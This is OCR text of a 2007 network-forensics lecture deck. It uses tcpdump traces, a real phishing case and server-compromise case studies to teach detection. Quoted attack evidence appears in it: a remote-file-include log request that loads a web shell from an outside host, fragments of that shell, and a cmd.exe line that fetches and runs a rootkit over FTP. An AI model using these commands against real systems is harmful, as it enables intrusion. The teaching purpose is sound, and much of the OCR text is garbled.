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The Role of Network Forensics

Computer forensics focuses on individual
systems

» Usually performed on dead systems; data is
static and finite

Network forensics focuses on a larger body
of data

» Usually performed on live systems; data is
dynamic and infinite
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Why Network Forensics?

Policy compliance auditing

» Corporate policy, industry regulation, HIPAA,
SOX, FERPA, ...

Intrusion detection

Incident response

Network management

Civil and criminal investigations
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Classes of Information

Full content data

» e.g., e-discovery, network monitoring
Session data

» e.g., targeted investigation, search warrant
Alert data

» e.g., IDS

Statistical data

» e.g., abnormal activity, monitoring traffic patterns,
traceback
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Sources of Network Data

IDS and firewall logs
Server logs
Network application logs

Artifacts and remnants of traffic on
computer hard drive

Live traffic
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Case Studies

Examples of suspicious traffic
Phishing investigation

» E-commerce server hack
Rootkit upload
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Suspicious Traffic Analysis

Information found in server logs
» Port/service scanning

» Persistent connections

» DDoS attempts

m © 2007, Gary C. Kessler




Suspicious tcpdump Output?

13:58:18.387461 foo.example.net.1565 > holmes.ftp: S 2115515674:2115515674(0)

win 32120 <mss 1460,sackOK, timestamp 126466936 0,nop,wscale 0> (DF)

13:58:18.392988 holmes.ftp > foo.example.net.1565: S 3478333904:3478333904(0)
ack 2115515675 win 10136 <nop,nop,timestamp 126470710 126466936,nop,wscale

0,nop,nop,sackOK,mss 1460> (DF)

14:00:46.999055 foo.example.net.4238 > watson.ftp: S 2262117252:2262117252(0)

win 32120 <mss 1460,sackOK, timestamp 126481796 0,nop,wscale 0> (DF)

14:00:47.029487 watson.ftp > foo.example.net.4238: S 26347543:26347543(0) ack

2262117253 win 8760 <mss 1460,nop,nop,sackOK> (DF)

OS fingerprinting with TCP option set (Linux & Windows)
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Suspicious tcpdump Output?

.711083
.711923
.712543
.712703
.713223
-714060
.714763
.715275
715337
.715822
.716797
.716858
.717692
.718276
.718388
718895
-802856
-024999
-025761
-026355
-026930
-028203
-844952
845647
-846286
-846932

holmes.39272 > poodle.champlain.edu.
holmes.39272 > poodle.champlain.edu.
holmes.39272 > poodle.champlain.edu.

poodle.champlain.edu > holme
poodle.champlain.edu > holmes:

holmes.39272 > poodle.champl
poodle.champlain.edu > holme

poodle.champlain.edu > holme
holmes.39272 > poodle.champl

poodle.champlain.edu > holmes:
poodle.champlain.edu > holme
holmes.39272 > poodle.champl
holmes.39272 >
holmes.39272 >
holmes.39272 > poodle.
holmes.39272 > poodle.champlain.
poodle.champlain.edu > holmes:
holmes.39272 >
holmes.39272 >
holmes.39272 >
holmes.39272 >

poodle.
poodle.

poodle.champlain.edu.
poodle.champlain.edu.

icmp:
poodle.champlain.edu.

135: udp O
140: udp O
136: udp O

: poodle.champlain.edu
: poodle.champlain.edu
holmes.39272 > poodle.champlain.edu.
holmes.39272 > poodle.champlain.edu.

netbios-dgm: udp O
130: udp O

-netbios-ns: udp 0

: poodle.champlain.edu
holmes.39272 > poodle.champlain.edu.
holmes.39272 > poodle.champlain.edu.

132: udp O
netbios-ssn: udp 0

: poodle.champlain.edu
.134: udp O

holmes.39272 > poodle.champlain.edu.
icmp:

133: udp O

poodle.champlain.edu
: poodle.champlain.edu
.131: udp O

135: udp O
netbios-dgm: udp O
-netbios-ns: udp O
.netbios-ssn: udp 0

poodle.champlain.edu
netbios-ssn: udp 0

-netbios-ns: udp O
-netbios-dgm: udp O
poodle.champlain.edu.

135: udp O

UDP port scan
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udp
udp

udp
udp

port
port

port

port

port
port

port

140
136

134
133

unreachable
unreachable

unreachable

unreachable

unreachable
unreachable

unreachable




Suspicious tcpdump Output?

20:55:21.594616 holmes.1099 > watson.80: . ack 1 win 512
20:55:22.116776 holmes.1097 > watson.80: . ack 1 win 512
20:55:22.539044 holmes.1116 > watson.80: . ack 1 win 512
20:55:22.996164 holmes.1032 > watson.80: . ack 1 win 512
20:55:23.215656 holmes.1047 > watson.80: . ack 1 win 512
20:55:23.475400 holmes.1101 > watson.80: . ack 1 win 512
20:55:23.987302 holmes.1116 > watson.80: . ack 1 win 512
20:55:24.098277 holmes.1099 > watson.80: . ack 1 win 512
20:55:24.503761 holmes.1047 > watson.80: . ack 1 win 512
20:55:24.976001 holmes.1112 > watson.80: . ack 1 win 512
20:55:25.216777 holmes.1097 > watson.80: . ack 1 win 512
20:55:25.664981 holmes.1115 > watson.80: . ack 1 win 512
20:55:25.992876 holmes.1115 > watson.80: . ack 1 win 512
20:55:26.437888 holmes.1119 > watson.80: . ack 1 win 512
20:55:26.899912 holmes.1100 > watson.80: . ack 1 win 512

Odd set of source port numbers...
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Possible Covert Communication

» Assume exploited Web server....

 Look at source port number

» Subtract 1000 from source port value, convert
remainder to ASCII value

» Result: cat /etc/passwd

* Merely an example; who knows what it is?
But this might raise some eyebrows...
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13:
13:
13:
13:
13:
13:
13:
13:
13:
13:
13:
13:

21:
21:
21:
21:
21:
21:
21:
21:
21:
21:
21:
21:

Suspicious tcpdump Output?

45.010117
45.011128
45.012014
45.013095
45.014107
45.015865
45.016763
45.018001
45.018456
45.018997
45.019562
45.020017

holmes.
holmes.
holmes.
holmes.
holmes.
holmes.
holmes.
holmes.
holmes.
holmes.
holmes.
holmes.

4033
4003
4005
4004
4019
4010
4021
4016
4017
4034
4031
4002

watson.220: S 93266:93266(0) win 8192
watson.ftp: S 92918:92918(0) win 8192
watson.telnet: S 92946:92946(0) win 8192
watson.22: S 92932:92932(0) win 8192
watson.110: S 93094:93094(0) win 8192
watson.63: S 93016:93016(0) win 8192

watson.80: S 93076:93076(0) win 8192
watson.92: S 93154:93154(0) win 8192
watson.396: S 93280:93280(0) win 8192
watson.215: S 93238:93238(0) win 8192
watson.17: S 92912:92912(0) win 8192

>
>
>
>
>
>
> watson.nntp: S 93106:93106(0) win 8192
>
>
>
>
>

TCP port scan
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13:
13:
13:
13:
13:
13:
13:
13:

21:
21:
21:
21:
21:
21:
21:
21:

Suspicious tcpdump Output?

45.
45.
45.
45.
45.
45.
45.
45.

012014
013095
014107
015865
016763
018001
018456
018997

foo.
foo.
foo.
foo.
foo.
foo.
foo.
foo.

example.
example.
example.
example.
example.
example.
example.
example.

com.
com.

com

com.
com.
com.
com.

com

1090 > 198.112.67.27.80: S 92946:92946(0) win 8192
1092 > 198.112.67.28.80: S 92932:92932(0) win 8192
.1093 > 198.112.67.29.80: S 93094:93094(0) win 8192
1095 > 198.112.67.30.80: S 93016:93016(0) win 8192
1096 > 198.112.67.31.80: S 93106:93106(0) win 8192
1097 > 198.112.67.32.80: S 93076:93076(0) win 8192
1100 > 198.112.67.33.80: S 93154:93154(0) win 8192
.1102 > 198.112.67.34.80: S 93280:93280(0) win 8192
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foo.
foo.
foo.
.example.com.45820

foo

foo.
foo.
foo.
foo.
foo.

Suspicious tcpdump Output?

example.com.45820
example.com.45820
example.com.52526

example.com.45820
example.com.52526
example.com.52526
example.com.52526

Static source port & syn segments with data
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> 192.168.209.5.23: S 4195942931:4195942935(4) win 4096
> 192.168.216.5.23: S 4195944723:4195944727(4) win 4096
> 172.16.68.5.23: S 357331986:357331990(4) win 4096
> 192.168.183.5.23: S 4196001810:4196001814(4) win 4096
example.com.52526 > 172.16.248.5.23: S 357312531:357312535(4) win 4096
> 192.168.205.5.23: S 4196007442:4196007446(4) win 4096
> 172.16.250.5.23: S 357313043:357313047(4) win 4096
> 172.16.198.5.23: S 357365266:357365270(4) win 4096
> 172.16.161.5.23: S 357355794:357355798(4) win 4096

14

10:

10:

10:

10:

17:

17:

17:

17:

Suspicious tcpdump Output?

08:23.472378 state.examp
8192 (DF)
08:25.009256 state.examp
8192 (DF)
08:26.504518 state.examp
8192 (DF)
08:28.006168 state.examp
8192 (DF)

14:18.726864 foo.example.

8192 <mss 1380> (DF)

14:21.781140 foo.example.

8192 <mss 1380> (DF)

14:27.776662 foo.example.

8192 <mss 1380> (DF)

14:39.775929 foo.example.

8192 <mss 1380> (DF)

le.net.1739 > watson.22:

le.net.1739 > watson.22:

le.net.1739 > watson.22:

le.net.1739 > watson.22:

net.62555 > watson.80:

net.62555 > watson.80:

net.62555 > watson.80:

net.62555 > watson.80:

S 72549644:72549644(0)
S 72549644:72549644(0)
S 72549644:72549644(0)

S 72549644:72549644(0)

S 20583734:20583734(0)
S 20583734:20583734(0)
S 20583734:20583734(0)

S 20583734:20583734(0)

TCP connection retries (Windows vs. Linux)

e
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win

win
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Suspicious tcpdump Output?

16:03:40.763603 foo.example.com.39344 > watson.80: S
523285584 :523285584(0) win 8760 (DF)

16:03:41.919170 foo.example.com.39345 > watson.80: S
523517577:523517577(0) win 8760 (DF)

16:03:53.348706 foo.example.com.39378 > watson.80: S
528418601:528418601(0) win 8760 (DF)

16:03:53.491895 foo.example.com.39379 > watson.80: S
528509044 :528509044(0) win 8760 (DF)

Multiple connection requests

@ ©2007, Gary C. Kessler

Suspicious tcpdump Output?

[root@altamont gck]# tcpdump “icmp®

12:03:36.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:03:46.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:04:37.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:04:47.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:05:38.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:05:48.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:06:39.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:06:49.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:07:40.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:07:50.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:08:41.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:08:51.006502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:09:42.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:09:52.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:10:43.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:10:53.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
12:11:44.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)

Echo Replies without Echo Requests
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Suspicious tcpdump Output?

[root@altamont gck]# tcpdump “icmp® -Xx
12:27:09.016502 doggie.example.edu > 192.0.2.7: icmp: echo reply (DF)
4500 0414
cc59 9307
0000 0000
736b 696¢C
0000 0000
0000

12:28:00.016502 doggie.-example.

12:28:10.016502 doggie.example.

edu > 192.

4500 0414
cc59 9307
0000 0000
736b 696C
0000 0000
0000

edu > 192.

4500 0414
cc59 9307
0000 0000
736b 696¢C
0000 0000
0000

0000 4000 4001 cdf9 c670 43le
0000 9ca3 l1a0a 0000 0000 0000
0000 0000 0000 0000 0000 0000
6c7a 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000

0.2.7: icmp: echo reply (DF)
0000 4000 4001 cdf9 c670 431le
0000 9ca3 la0a 0000 0000 0000
0000 0000 0000 0000 0000 0000
6c7a 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000

0.2.7: icmp: echo reply (DF)
0000 4000 4001 cdf9 c670 431le
0000 9ca3 l1a0a 0000 0000 0000
0000 0000 0000 0000 0000 0000
6c7a 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000

0x73-6b-69-6¢-6¢-7a = "skillz" (Stacheldraght)

© 2007, Gary C. Kessler
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Suspicious tcpdump Output?

foo.example.com
foo.example.com
foo.example.com
foo.example.com
foo.example.com

foo.example.com
foo.example.com
foo.example.com
foo.example.com
foo.example.com

watson:
watson:
watson:
watson:
watson:

watson:
watson:
watson:
watson:
watson:

icmp:
(frag
(frag
(frag
(frag

(frag
(frag
(frag
(frag
(frag

echo request (frag 56980:1480@0+)

56980:148001480+)
56980:148002960+)
56980:1480@4440+)
56980:1480@5920+)

56980:1480@59200+)
56980:1480@60680+)
56980:1480@62160+)
56980:1480063640+)
56980:1480065120)

Ping of Death

© 2007, Gary C. Kessler
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Suspicious tcpdump Output?

foo.example.com.137 > watson.137: udp 28 (frag 242:36@0+)
foo.example.com > watson: (frag 242:4@24)

Teardrop attack (fragment overlap)

© 2007,

Gary C. Kessler
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Suspicious tcpdump Output?

granite:~ $ ssh root:secret@networking.champlain.edu
[root@networking gck]# tcpdump

09:31:15.747498 networking.champlain.edu.ssh > granite.sover.net.

35003172 37891099> (DF) [tos 0x10]

09:31:15.747646 networking.champlain.edu.ssh > granite.sover.net.

(DF) [tos 0x10]

09:31:15.968039 granite.sover.net.841 > networking.champlain.edu.

[tos 0x10]
09:
37891100> (DF) [tos Ox10

1
09:31:15.968610 networking.champlain.edu.ssh > granite.sover.net.

37891100> (DF) [tos 0x10]

09:31:15.968904 networking.champlain.edu.ssh > granite.sover.net.

37891100> (DF) [tos 0x10]
09:
[tos 0x10]

09:31:16.029303 networking.champlain.edu.ssh > granite.sover.net.

37891100> (DF) [tos 0x10]

09:31:16.029224 granite.sover.net.841 > networking.champlain.edu

[tos 0x10]
09: 16.029247 granite.sover.net.841 > networking.champl
(DF) [tos 0x10]

09:31:16.029979 networking.champlain.edu.ssh > granite.sover.net.
1

37891100> (DF) [tos OX10

09:31:16.030289 networking.champlain.edu.ssh > granite.sover.net.

37891100> (DF) [tos 0x10]
09:31:16.067973 granite.sover.net.841 > networking.champl
(DF) [tos 0x10]

09:31:16.068046 networking.champlain.edu.ssh > granite.sover.net.

37891100> (DF) [tos 0x10]

09:31:16.068168 granite.sover.net.841 > networking.champlain.edu.

(DF) [tos 0x10]
09:

16.068651 networking.champlain.edu.ssh > granite.sover.net.

37891100> (DF) [tos 0x10]

09:31:16.068951 networking.champlain.edu.ssh > granite.sover.net.
0

37891100> (DF) [tos 0x10]

09:31:16.069236 networking.champlain.edu.ssh > granite.sover.net.

37891100> (DF) [tos 0x10]

© 2007,

:15.968103 networking.champlain.edu.ssh > granite.sover.net.

:16.029210 granite.sover.net.841 > networking.champlain.edu

n.edu.

n.edu.

841: P 691789802:691789850(48) ack 3378360866 win 8576 <nop,nop,timestamp

841: P 48:208(160) ack 1 win 8576 <nop,nop,timestamp 35003172 37891099>

ssh: . 1:1(0) ack 208
841: P 208:1360(1152)
841: P 1360:1712(352)
841: P 1712:1920(208)
ssh: . 1:1(0) ack 208
841: P 1920:2128(208)

ssh: . 1:1(0) ack 208

win 8760 <nop,nop,timestamp 37891100 35003172> (DF)
ack 1 win 8576 <nop,nop, timestamp 35003194
ack 1 win 8576 <nop,nop, timestamp 35003194
ack 1 win 8576 <nop,nop, timestamp 35003194
win 8760 <nop,nop, tinestamp 37891100 35003172> (DF)
ack 1 win 8576 <nop,nop, timestamp 35003200

win 8760 <nop,nop, timestamp 37891100 35003172> (DF)

ssh: . 1:1(0) ack 1920 win 7048 <nop,nop,timestamp 37891100 35003194>

841: P 2128:2800(672)

841: P 2800:3008(208)

ack 1 win 8576 <nop,nop, timestamp 35003200

ack 1 win 8576 <nop,nop, timestamp 35003200

ssh: . 1:1(0) ack 2128 win 8760 <nop,nop,timestamp 37891100 35003200>

841: P 3008:3216(208)

ack 1 win 8576 <nop,nop,timestamp 35003204

ssh: . 1:1(0) ack 3008 win 7880 <nop,nop,timestamp 37891100 35003200>

841: P 3216:3728(512)
841: P 3728:3936(208)

841: P 3936:4144(208)

Gary C. Kessler

ack 1 win 8576 <nop,nop, timestamp 35003204
ack 1 win 8576 <nop,nop, timestamp 35003204

ack 1 win 8576 <nop,nop, timestamp 35003204

GCK's self-DoS
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Phishing Investigation

* August 6, 2005
o All information is real...
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&, Eudora - [Amazon Security Department, 04:32 08/06/2005, Amazon Customer Support : Account Verification 1]
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e 2= gy [R '] 2|[= +| subject:[Amazon Customer Support : Account Verification !
"‘51‘:‘“ =| [From: "Amazon Security Department” <service@amazon.com > B
& out Reply-To: "Amazon Security Department” <service@amazon.com > |
& Junk To: gary.kessler@champlain.edu
g Subject: Amazon Customer Support : Account Verification !
-4 i Date: Sat, 06 Aug 2005 19:16:22 +0300
@ ATAC X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
% o X-OriginalArrivalTime: 06 Aug 2005 15:20:23.0696 (UTC) FILETIME=[5DA98900:01CSIASA]
‘ComputerSecurityLab
g: P ! Content-Type: text/html;
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& CSH Your
@ CyberforensicsCenter Lour
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o Em"; - Product Categories
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tuff
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& Humor earch Amazon.com Books Popular Music Music Downloads Classical Music DVD VHS Apparel Yellow Pages
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e i ‘ood Beta Musical Instruments Health/Personal Care Travel C: hones & Service Outlet Auctions zShops
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@ NECcIss
HD-
gp::m Dear Amazon user,
PSS — | | Recently, our Account Review Team ideniified some unusual activity in your account. To protect the security of your account and in accordance with User Agreement
& SANS_summer access to your account will be limited. This is a fraud prevention measure meant to ensure your account security and that your account is not compromised
@ Securtty
@ stego In order to secure your account we may require some specific information from you. We encourage you to log in by clicking on the link below and complete the
& TabkeTop.. requested form as soon as possible
& TWGEDDE
& um hitp fiwww amazon comi i
€ VermontFest chalenge
Pyl Ignoring our request, for an extended period [ The actusl host |
o pm168.com.cryindex s
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Y ‘Warning: The URL you are about to visit may be deceptive. Visit it
L3 anyway?

The actual host
(http://creditunion.pm168.com.cn/index.html?http://wnwvw.amazon.
is different from the host
(http://www.amazon.com/exec/obidos/flex-sign-inf} in the link
text.

f% 1 Visit I Cancel
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Fie Dot Yiew Go Bookmarks Tools el Qo
Ga - - & 3 7 [ moeredtunion prss.com.enfindex. i vrven. o sgn-in | @ 6o [ICLne burlington vermant
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Sign In

What is your e-mail address?

My e-mail address is ,—
Do you have an Amazon.com password?

“ Mo, T am a new customer,

* Yes, 1 have a password: |
- Fargot your passward? Click here
Has your e-mail address changed since your last order?

The secure server will encrypt your information. If you received an errar message when you tried to use our secure server, sign n
using our standard server,

Where's My Stuff? Need Help?
+ Track your recent orders. + See our shipping rates & polices. = Forgot your password? Click here.
s View or change your arders in Your Account. = Rewurn an item (here's our Retums Policy). = Redeam or buy a gt certificate.
= Visit our Help depariment.
Search |All Products =| tor | o]

Top of Page =
Amazon.com Home | Directory of All Stores

Our International Sites: Canada | United Kingdom | Germany | Japan France

=

m © 2007, Gary C. Kessler 25
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Fils Edt View Go Bockmarks Tools Maip ]

B ORI o s Lippetirinn fleas tein/ =] @ 6o [[GLne burlington verment
b i .’l amazoncom. v | wsis | soonscco) | var =
I [ o AT TN ey fr oy (e [ TR Yo Your Gold Box
Sign In

What is your e-mail address?
My a-mail address is 51;3-0234@v;i\u0_mm
Do you have an Amazon.com password?

© Mo, 1 am a new custome:

* Yas, I have a password: «— 123456
S RO S,

- Forgot your password? Click here
Has your e-mail address changed since your last order?

The secure sarvar will ancrypt your infarmaton, If you received an error message whan you tred to use our secure server, Sign n
using our standard server.

Need Help?

Where's My Stuff? 9
» Track your recent orders. our shipping rates & policies, « Forgat your password? Click here.
+ View or change your arders in Your Account. . Rc\.m an item (here's our Retumns Policy). + Redeem or buy a gift certificate.
= Visit our Help department.
Search | All Products =] for | o
Top of Page T
Amazron.com Home | Directory of All Stores
Our International Sites: Canada | United Kingdom | Germany | Japan | France =)
Dane

m © 2007, Gary C. Kessler 26

Follow TCP Stream

[ Stream Content

POST /amazon/Togin.php HTTP/1.1 A
HosT: as26489.epolis.ru «—— =1
User-Agent: Mozilla/5.0 (windows; U; Windows NT 5.1; en-US; rv:1.7.9) Gecko/20050711
Firefox/1.0.5

lsccept: text/xml, application/xml, application/xhtml+xml, text/html;g=0.9, text/

plain; g=0. 8, image/png, */*;q=0. 5

liccept-Language: en-us,en;q=0.5

lsccept-Encoding: gzip,deflate

ls\ccept-Charset: I50-8859-1,utf-8;9=0.7,%;g=0.7

Keep-Alive: 300

)Connection: keep-alive

Referer: hitp://creditunion. pmi6E. com. cn/index. html?http://www. amazon. com/exec/obidos/]
[flex-sign-in/

)Content-Type: app'h::amon,fx ww-form-urTencoded

Icontent-Length:

method=GET&Q
maintenanced i
secure, html§ 23&y=9HTTP/1.1 302

Date: Sat, 06 Aug 2005 15:38:20 GMT

IServer : Apache/}_ 3.33 (Unix) mod_choke/0.06 mod_auth_passthrough/1.8 mod_log_| bytes/l 2
mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_ss1/2.8.22 openssL/0.9.7a PHP-CGI/0.
ICache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Pragma: no-cache

pi-Powered-By: PHP/4.3.1

set-Cookie: PHPSESSID:faa39f3Qef58c1193100eae0b3efdf2e path=/

p-mod-choke: 0.086

Location: http://creditunion.pmlé&s. com. cn/protect. php = |
keep-Alive: timeout=15, max=100
Iconnection: Keep-alive
Transfer-encoding: chunked
)content-Type: text/html

-secure. html&response=credit-card-
action=s1ign-in&next-page=help%2Fya-register-

|

| Entire conversation (1421 bytes) ~ [® asci O eBepIC ) Hex Dump O C Arrays () Raw

[ Close ] [ Filter Out This Stream
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¥ Edit Credit Card - M la Firefox

Fds Edit View Go Bockmaris Tools Help K
«Qﬂ L § @ [ L) hezpzyyeredeunion.pm1 68 com.en protect. php =] © ce [IGLre buringten varmens
S"Sc':)grﬁng amazoncom. g view cant | wiswunt | rous account) | e I'-,l,' F
Goods — el

‘Gt a5 T (oo | sitwe_|[voos [ 27188 uscrmomes | RRA | ove | orrmmas | © 549" Gold Box

Your Account > Edit or Delete a Credit Card > Edit a Credit Card

Click the Confirm button when you are finished. Please note that any changes made here will affect future orders only. If you want to edit the method of
payment for an order that has already been placed, click here.

Cardholder Name: ’7
Address: ’7
ciy:[
swter [oeemm
Country: | United States =/
Phone Number:[
gilling zip:|
Type: ,m
Bank Name: ,7
Card Number: ,7
Exp. Date:[- ~| [~ ~| B
Cvv2 Numbers|  ©wi code is bocated om the back of yous card
Pin Code:[
Konliem)

Ton of Pase ﬂ
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) Edit Credit Card - Mezilla Firefox
Fie [dit View Go Dockmarks Tools Help

G - - & ) G [D veoieredtunion.pmiss.com.en/protect she x| © 6o [ICL e burlington vermont
S orting amazoncom. e view canr | wosnunr | mus sccount) | wee [‘_3 ¢ =
Goods — e
ety Wl [tecoue | siime[wooes | abEpbateas | wacraomes | Tnme | ove [sormmant ] © ji5mas Gold Box

Your Account > Edit or Delete a Credit Card > Edit a Credit Card

Click the Confirm button when vou are finished. Please note that any changes made here will affect future orders only. If you want to edit the method of
pavment for an order that has already been placed, click here.

Cardholder Name: W
Address: ,W
City:foom
State: | New Hampshira -
Country; | United States =
Phone Number: [6035551729
Billing Zip:[1872
Type:[Cdi  +]
Bank Name: [Yoohoo Bank
Card Number: m
Exp. Date:[08 ~| [2005 ] B
Cvv2 Number: [123 w2 code is Jocated on the back of your card
Pin Code: [987
Lanfm )

Tom of Pare ﬂ
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Amazon.com: Online shopping for electronics, apparel, music, books, DVDs & more - Mozilla Firefox

Fée Edit Vew Go Bockmarks Tools Help

(;_, - - Q \f‘& |§ [ amazee. i - el 102- 1 1870444554167

amazoncom | srs AL vou At | Y Gt

Tire | Product Ca wieh Lt | Heb |

Gift Idees | Internaional | Mew Reieases | Top Sehers | Teder's Deals | Sel Your Sui

m Amazon.com | |

=] @ ce [iGLme burtingten vermars

o -

Hello, Gary Kessler. We have recommendations for you. (If you're not Gary Kessler, click here.)

[omowess ]
Your L
Favorites

« DVD

« Books

= Computers
= Electronics
= Camera & Photo

Featured Stores
« Apparel &
Accessories

« Beauty

= DVD's TV Central
= Electronics

« Jawelry &
Watches

= Shoes

= Textbooks

New Stores
In Beta (What's this?)

Everything on SalemElectronics

Join Amazon Prime

L'l

+ Free Two-Day Shipping or $3.99-per-item Overnight Shipping on over a
million eligible items sold by Amazon.com

= Ship to any eligible addrass in the contiguous U.S.
= Unlimited privileges cost just $79 per year

# Share these benefits with up to four family members in your household
» Learn meore and sign up

Buy Sonicare, Get $10 Off a Future Amazon Purchase

- Automotive Sonicare's revolutionary new system delivers deep cleaning through
« Musical =, ' high-spaed bristles and an integrated toocthpaste dispensar, Order the
Instruments ] . IntelliClean or other Sonicare products today and get 510 off a future
« Gourmet Faod W &Amazon.com purchase. Sea details.

= Health &

Perzonal Care

Dane

Nonprofit
Innovation
Award
E __|Donate
% now! Help
your
favorite nenprofit
finalist earn a
matching grant of
up to $1 million
from
Amazon.com,

Get $20 Off a
Future Amazon
Purchase

Buy
Conair
products

today and
get $20 off a
future Amazon
purchase. Conair's
got it all, fram
hair dryers and
foot spas to

z}
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08/06/05 13:19:14 dns creditunion.pml68.com.cn
Canonical name: s310.now.net.cn
Aliases:
creditunion.pml68.com.cn
Addresses:
61.145.112.138

08/06/05 13:20:07 dig creditunion.pml68.com.cn @ 68.168.96.162
Dig creditunion.pml68.com.cn@ns2.pro.net.cn (218.16.121.12) ...
Authoritative Answer
Query for creditunion.pml168.com.cn type=255 class=1
creditunion.pml68.com.cn CNAME (Canonical Name) s310.now.net.cn
pm168.com.cn NS (Nameserver) ns2.pro.net.cn
pml68.com.cn NS (Nameserver) nsl.pro.net.cn
nsl.pro.net.cn A (Address) 61.145.112.44
ns2.pro.net.cn A (Address) 218.16.121.12
Dig creditunion.pml68.com.cn@nsl.pro.net.cn (61.145.112.44) ...
Authoritative Answer
Query for creditunion.pml68.com.cn type=255 class=1
creditunion.pml68.com.cn CNAME (Canonical Name) s310.now.net.cn
pm168.com.cn NS (Nameserver) nsl.pro.net.cn
pm168.com.cn NS (Nameserver) ns2.pro.net.cn
nsl.pro.net.cn A (Address) 61.145.112.44
ns2.pro.net.cn A (Address) 218.16.121.12
Dig creditunion.pml68.com.cn@68.168.96.162 ...
Non-authoritative answer
Recursive queries supported by this server
Query for creditunion.pml68.com.cn type=255 class=1
creditunion.pml68.com.cn CNAME (Canonical Name) s310.now.net.cn
pm168.com.cn NS (Nameserver) ns2.pro.net.cn
pm168.com.cn NS (Nameserver) nsl.pro.net.cn
nsl.pro.net.cn A (Address) 61.145.112.44
ns2.pro.net.cn A (Address) 218.16.121.12

m © 2007, Gary C. Kessler
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Whois - Mozilla Firefox

File Edit View Go Bookmarks Tools Help

Q

é - Iﬁ - ﬂ @ @ ID http://ewhois.cnnic.net.cnfwhois?value=pm168.com.cn&entity=domain

CINNIC

R E D R AR S P

China ntermet Netwark In formation Center

.CN Registry WHOIS Data

Go on Query
Demain Neme pmlé8.comen
Domain Status ok

Registrant Name m

Registrant Organization | 777
Administrative Email | fhw33888@163.com|
Sponsering Registrar | 777070997
Name Server s pro.nst cn
Name Server nsl.pronsten
Registration Date 2004-12-29 18:24
Expiration Date 2005-12-20 18:24

Return to First Page

Copyright CNNIC Reserve Right

(€

LI @ co I@, force majeure

|Done

© 2007, Gary C. Kessler
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I HAVE A
NELJ HOBBY.
IT'S CALLED
PHISHIMG.

’&K

www.dilbert.com  scottadams aclcom

I SEND FAKE BANKING
E-MAILS TO GULLIBLE

EXECUTIVES. THEN
FIND OUT THEIR
FINANCIAL INFOR -
MATION AND USE
IT TO STEAL THE

MONEY THEY DON'T
DESERVE. | i

I

T

8205 02005 Seon Adsms, Inc,/Dist. by UFS, Inc.

Dear Customer,

This is your bank. We forgot your
social security number and password,
Why don't you send them to us so

we can profect your
money. LOOKS
Sincerely, Y LEGIT.

1. B. Banker

Dilbert, 8/12/2005

© 2007, Gary C. Kessler
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E-Commerce Server Hack

 February 2006

* Small e-commerce site was attacked
» Discovered because of abnormal network

e

traffic

» System was re-built by sysadmin and original
disk was archived

* Information found in Web server log

© 2007, Gary C. Kessler
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HTTP GET Command

192.0.2.36 - - [10/Jan/2006:15:08:38 -0500] "GET
/shoppingcart/includes/orderSuccess. inc.php?cmd=%65%63%68%6F%20%5F%53%54
%41%52%54%5F%3B i d ; echo%3B%65%63%68%6 F%20%5F%45%4E%44%5F ; echo ; &glob=1&car
t_order_id=1&glob[rootDir]=http://contnou.sapte.ro/srdyh.pdf? HTTP/1.1"

200 2423 "ot

/shoppingcart/includes/orderSuccess. inc.php?cmd=echo _START_;id;echo;
echo_END_;echo;&glob=1&cart_order_id=1&glob[rootDir]=http://contnou.sapte.r

o/srdyh._pdf?

m © 2007, Gary C. Kessler 36

Viewing the "PDF" File

3 Moilla Firefox

Be B4 vew Hgory fockeads  Toos b

CMD-UX

System Information

Serpt Current User:

PHP Version:

User Infa: wd() euid() gd()
Cumrent Path:

Server IP:

Web Server:

Command Prompt
<Tpho

i (lempty(§output]) echo str_replace(™>", ™57, str_replace( <", "<
Soutput));
Ia

&17); Soutput = ob_get_coctents(); ob_end_clean( ), >
[*] Safemode Mode Run”, %

®, echo ™, echo ™, echo “List All Files

=, while {{3fle = readdinSdir}) == false] | if (Ris_file{5flaj) | Be) Sfite2 = fileperms(Sfile). echo “Sfile! - Sle2 - Sfle

i §

15MESAME | 00ME/ALAME

m © 2007, Gary C. Kessler 37
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Rootkit Upload

 Similar syndrome found on multiple servers since
November 2005
» Small business
» State agency
» Charity
» Exploit inserts a single command to an application
that uploads a rootkit
» All attacks were similar
» Each server had different sets of other exploits present

@ © 2007, Gary C. Kessler 38

Errant Command Line

o Inserted after running buffer overflow
attack

e Found in the recent Run command list;

cmd.exe /c del i&echo open 192.0.2.68 5685 > i&echo user
I 1 >> i&echo get 123.exe >> i &echo quit >> i &ftp -n -
s:i & 123.exe&del i&exit

m © 2007, Gary C. Kessler 39
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Legal Aspects

Tool reliability and examiner competence
remain open issues

Daubert guidelines include

» Testing

» Error rate

» Publication

» Acceptance

© 2007, Gary C. Kessler 40

Conclusion

Computer forensics is not computer science
» Although it draws upon it...
Digital forensics education requires courses

in computer technology, criminal justice,
and the process of digital investigations

» Does it need computer programming?
» Does it need network engineering?

© 2007, Gary C. Kessler 41
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Overview

The Role of Network Forensics

Classes of Network Information

Sources and Types of Network Data

Case Studies...

Legal Aspects of Network Forensics Tools

m © 2007, Gary C. Kessler a2

